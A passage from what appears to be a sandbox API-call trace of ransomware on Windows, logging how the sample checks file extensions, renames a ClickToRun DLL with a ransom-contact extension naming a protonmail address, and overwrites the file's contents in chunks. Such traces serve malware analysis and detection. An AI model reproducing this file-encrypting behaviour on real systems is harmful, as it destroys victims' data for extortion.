shared\\clicktorun\\appvisvstream64.dll")) returned 0x20 [0289.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.299] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0289.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0289.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0289.384] lstrlenW (lpString=".doc") returned 4 [0289.384] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.384] lstrlenW (lpString=".docx") returned 5 [0289.401] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0289.401] lstrlenW (lpString=".pdf") returned 4 [0289.401] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.401] lstrlenW (lpString=".xls") returned 4 [0289.401] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.401] lstrlenW (lpString=".xlsx") returned 5 [0289.401] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0289.401] lstrlenW (lpString=".ppt") returned 4 [0289.401] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0289.401] lstrlenW (lpString=".zip") returned 4 [0289.401] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.401] lstrlenW (lpString=".rar") returned 4 [0289.401] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.401] lstrlenW (lpString=".bz2") returned 4 [0289.401] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.401] lstrlenW (lpString=".7z") returned 3 [0289.401] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0289.401] lstrlenW (lpString=".dbf") returned 4 [0289.401] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0289.401] lstrlenW (lpString=".1cd") returned 4 [0289.402] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0289.402] lstrlenW (lpString=".jpg") returned 4 [0289.402] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0289.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0289.402] lstrlenW (lpString=".doc") returned 4 [0289.402] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.402] lstrlenW (lpString=".docx") returned 5 [0289.402] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0289.402] lstrlenW (lpString=".pdf") returned 4 [0289.402] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.402] lstrlenW (lpString=".xls") returned 4 [0289.402] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.402] lstrlenW (lpString=".xlsx") returned 5 [0289.402] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0289.402] lstrlenW (lpString=".ppt") returned 4 [0289.402] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0289.402] lstrlenW (lpString=".zip") returned 4 [0289.402] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.402] lstrlenW (lpString=".rar") returned 4 [0289.402] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.402] lstrlenW (lpString=".bz2") returned 4 [0289.402] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.402] lstrlenW (lpString=".7z") returned 3 [0289.402] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0289.402] lstrlenW (lpString=".dbf") returned 4 [0289.403] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0289.403] lstrlenW (lpString=".1cd") returned 4 [0289.403] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0289.403] lstrlenW (lpString=".jpg") returned 4 [0289.403] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.403] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0289.403] lstrlenW (lpString="AppVIsvStreamingManager.dll") returned 27 [0289.403] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0289.407] GetFileSizeEx (in: hFile=0x10c4, lpFileSize=0x347ff14 | out: lpFileSize=0x347ff14*=210648) returned 1 [0289.407] CloseHandle (hObject=0x10c4) returned 1 [0289.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll")) returned 0x20 [0289.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.408] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0289.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0289.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0289.408] lstrlenW (lpString=".doc") returned 4 [0289.408] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.408] lstrlenW (lpString=".docx") returned 5 [0289.408] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0289.408] lstrlenW (lpString=".pdf") returned 4 [0289.408] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.408] lstrlenW (lpString=".xls") returned 4 [0289.408] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.408] lstrlenW (lpString=".xlsx") returned 5 [0289.408] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0289.408] lstrlenW (lpString=".ppt") returned 4 [0289.408] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0289.408] lstrlenW (lpString=".zip") returned 4 [0289.408] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.408] lstrlenW (lpString=".rar") returned 4 [0289.408] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.408] lstrlenW (lpString=".bz2") returned 4 [0289.408] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.408] lstrlenW (lpString=".7z") returned 3 [0289.408] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0289.409] lstrlenW (lpString=".dbf") returned 4 [0289.409] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0289.409] lstrlenW (lpString=".1cd") returned 4 [0289.409] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0289.409] lstrlenW (lpString=".jpg") returned 4 [0289.409] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0289.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0289.409] lstrlenW (lpString=".doc") returned 4 [0289.409] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.409] lstrlenW (lpString=".docx") returned 5 [0289.409] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0289.409] lstrlenW (lpString=".pdf") returned 4 [0289.409] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.409] lstrlenW (lpString=".xls") returned 4 [0289.409] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.409] lstrlenW (lpString=".xlsx") returned 5 [0289.409] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0289.409] lstrlenW (lpString=".ppt") returned 4 [0289.409] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0289.410] lstrlenW (lpString=".zip") returned 4 [0289.410] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.410] lstrlenW (lpString=".rar") returned 4 [0289.410] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.410] lstrlenW (lpString=".bz2") returned 4 [0289.410] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.410] lstrlenW (lpString=".7z") returned 3 [0289.410] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0289.410] lstrlenW (lpString=".dbf") returned 4 [0289.410] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0289.410] lstrlenW (lpString=".1cd") returned 4 [0289.410] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0289.410] lstrlenW (lpString=".jpg") returned 4 [0289.410] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.410] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0289.410] lstrlenW (lpString="AppVIsvSubsystemController.dll") returned 30 [0289.410] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0289.410] GetFileSizeEx (in: hFile=0x10c4, lpFileSize=0x347ff14 | out: lpFileSize=0x347ff14*=1402584) returned 1 [0289.411] CloseHandle (hObject=0x10c4) returned 1 [0289.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll")) returned 0x20 [0289.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.411] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0289.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0289.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0289.411] lstrlenW (lpString=".doc") returned 4 [0289.411] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.411] lstrlenW (lpString=".docx") returned 5 [0289.411] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0289.411] lstrlenW (lpString=".pdf") returned 4 [0289.411] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.411] lstrlenW (lpString=".xls") returned 4 [0289.411] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.411] lstrlenW (lpString=".xlsx") returned 5 [0289.411] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0289.411] lstrlenW (lpString=".ppt") returned 4 [0289.411] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0289.411] lstrlenW (lpString=".zip") returned 4 [0289.411] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.411] lstrlenW (lpString=".rar") returned 4 [0289.411] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.412] lstrlenW (lpString=".bz2") returned 4 [0289.412] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.412] lstrlenW (lpString=".7z") returned 3 [0289.412] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0289.412] lstrlenW (lpString=".dbf") returned 4 [0289.412] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0289.412] lstrlenW (lpString=".1cd") returned 4 [0289.412] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0289.412] lstrlenW (lpString=".jpg") returned 4 [0289.412] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0289.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0289.412] lstrlenW (lpString=".doc") returned 4 [0289.412] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.412] lstrlenW (lpString=".docx") returned 5 [0289.412] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0289.412] lstrlenW (lpString=".pdf") returned 4 [0289.412] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.412] lstrlenW (lpString=".xls") returned 4 [0289.412] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.412] lstrlenW (lpString=".xlsx") returned 5 [0289.412] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0289.412] lstrlenW (lpString=".ppt") returned 4 [0289.412] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0289.413] lstrlenW (lpString=".zip") returned 4 [0289.413] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.413] lstrlenW (lpString=".rar") returned 4 [0289.413] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.413] lstrlenW (lpString=".bz2") returned 4 [0289.413] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.413] lstrlenW (lpString=".7z") returned 3 [0289.413] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0289.413] lstrlenW (lpString=".dbf") returned 4 [0289.413] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0289.413] lstrlenW (lpString=".1cd") returned 4 [0289.413] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0289.413] lstrlenW (lpString=".jpg") returned 4 [0289.413] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.413] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0289.413] lstrlenW (lpString="AppvIsvSubsystems32.dll") returned 23 [0289.413] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0289.414] GetFileSizeEx (in: hFile=0x10c4, lpFileSize=0x347ff14 | out: lpFileSize=0x347ff14*=1761448) returned 1 [0289.414] CloseHandle (hObject=0x10c4) returned 1 [0289.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll")) returned 0x20 [0289.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.414] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 1 [0289.414] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0289.414] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fc64 | out: lpNewFilePointer=0x0) returned 1 [0289.415] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fc24 | out: lpNewFilePointer=0x0) returned 1 [0289.415] ReadFile (in: hFile=0x10c4, lpBuffer=0x4030058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x347fc30, lpOverlapped=0x0 | out: lpBuffer=0x4030058*, lpNumberOfBytesRead=0x347fc30*=0x40000, lpOverlapped=0x0) returned 1 [0291.473] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x8f58d, lpNewFilePointer=0x0, dwMoveMethod=0x347fc24 | out: lpNewFilePointer=0x0) returned 1 [0291.473] ReadFile (in: hFile=0x10c4, lpBuffer=0x4070058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x347fc30, lpOverlapped=0x0 | out: lpBuffer=0x4070058*, lpNumberOfBytesRead=0x347fc30*=0x40000, lpOverlapped=0x0) returned 1 [0293.219] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x347fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0293.219] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x16e0a8, lpNewFilePointer=0x0, dwMoveMethod=0x347fc24 | out: lpNewFilePointer=0x0) returned 1 [0293.219] ReadFile (in: hFile=0x10c4, lpBuffer=0x40b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x347fc30, lpOverlapped=0x0 | out: lpBuffer=0x40b0058*, lpNumberOfBytesRead=0x347fc30*=0x40000, lpOverlapped=0x0) returned 1 [0293.267] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.267] WriteFile (in: hFile=0x10c4, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xc011a, lpNumberOfBytesWritten=0x347fca8, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fca8*=0xc011a, lpOverlapped=0x0) returned 1 [0293.357] SetEndOfFile (hFile=0x10c4) returned 1 [0293.357] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x40000) returned 0x3ea2088 [0293.358] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fc74 | out: lpNewFilePointer=0x0) returned 1 [0293.358] WriteFile (in: hFile=0x10c4, lpBuffer=0x3ea2088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x347fc80, lpOverlapped=0x0 | out: lpBuffer=0x3ea2088*, lpNumberOfBytesWritten=0x347fc80*=0x40000, lpOverlapped=0x0) returned 1 [0293.359] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x8f58d, lpNewFilePointer=0x0, dwMoveMethod=0x347fc74 | out: lpNewFilePointer=0x0) returned 1 [0293.359] WriteFile (in: hFile=0x10c4, lpBuffer=0x3ea2088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x347fc80, lpOverlapped=0x0 | out: lpBuffer=0x3ea2088*, lpNumberOfBytesWritten=0x347fc80*=0x40000, lpOverlapped=0x0) returned 1 [0293.362] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x16e0a8, lpNewFilePointer=0x0, dwMoveMethod=0x347fc74 | out: lpNewFilePointer=0x0) returned 1 [0293.362] WriteFile (in: hFile=0x10c4, lpBuffer=0x3ea2088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x347fc80, lpOverlapped=0x0 | out: lpBuffer=0x3ea2088*, lpNumberOfBytesWritten=0x347fc80*=0x40000, lpOverlapped=0x0) returned 1 [0293.364] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0293.364] CloseHandle (hObject=0x10c4) returned 1 [0293.364] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0293.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0293.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0293.364] lstrlenW (lpString=".doc") returned 4 [0293.364] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.364] lstrlenW (lpString=".docx") returned 5 [0293.364] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0293.364] lstrlenW (lpString=".pdf") returned 4 [0293.364] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.364] lstrlenW (lpString=".xls") returned 4 [0293.365] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.365] lstrlenW (lpString=".xlsx") returned 5 [0293.365] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0293.365] lstrlenW (lpString=".ppt") returned 4 [0293.365] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0293.365] lstrlenW (lpString=".zip") returned 4 [0293.365] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.365] lstrlenW (lpString=".rar") returned 4 [0293.365] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.365] lstrlenW (lpString=".bz2") returned 4 [0293.365] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.365] lstrlenW (lpString=".7z") returned 3 [0293.365] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0293.365] lstrlenW (lpString=".dbf") returned 4 [0293.365] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0293.365] lstrlenW (lpString=".1cd") returned 4 [0293.365] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0293.365] lstrlenW (lpString=".jpg") returned 4 [0293.365] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0293.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0293.365] lstrlenW (lpString=".doc") returned 4 [0293.365] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.365] lstrlenW (lpString=".docx") returned 5 [0293.366] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0293.366] lstrlenW (lpString=".pdf") returned 4 [0293.366] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.366] lstrlenW (lpString=".xls") returned 4 [0293.366] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.366] lstrlenW (lpString=".xlsx") returned 5 [0293.366] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0293.366] lstrlenW (lpString=".ppt") returned 4 [0293.366] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 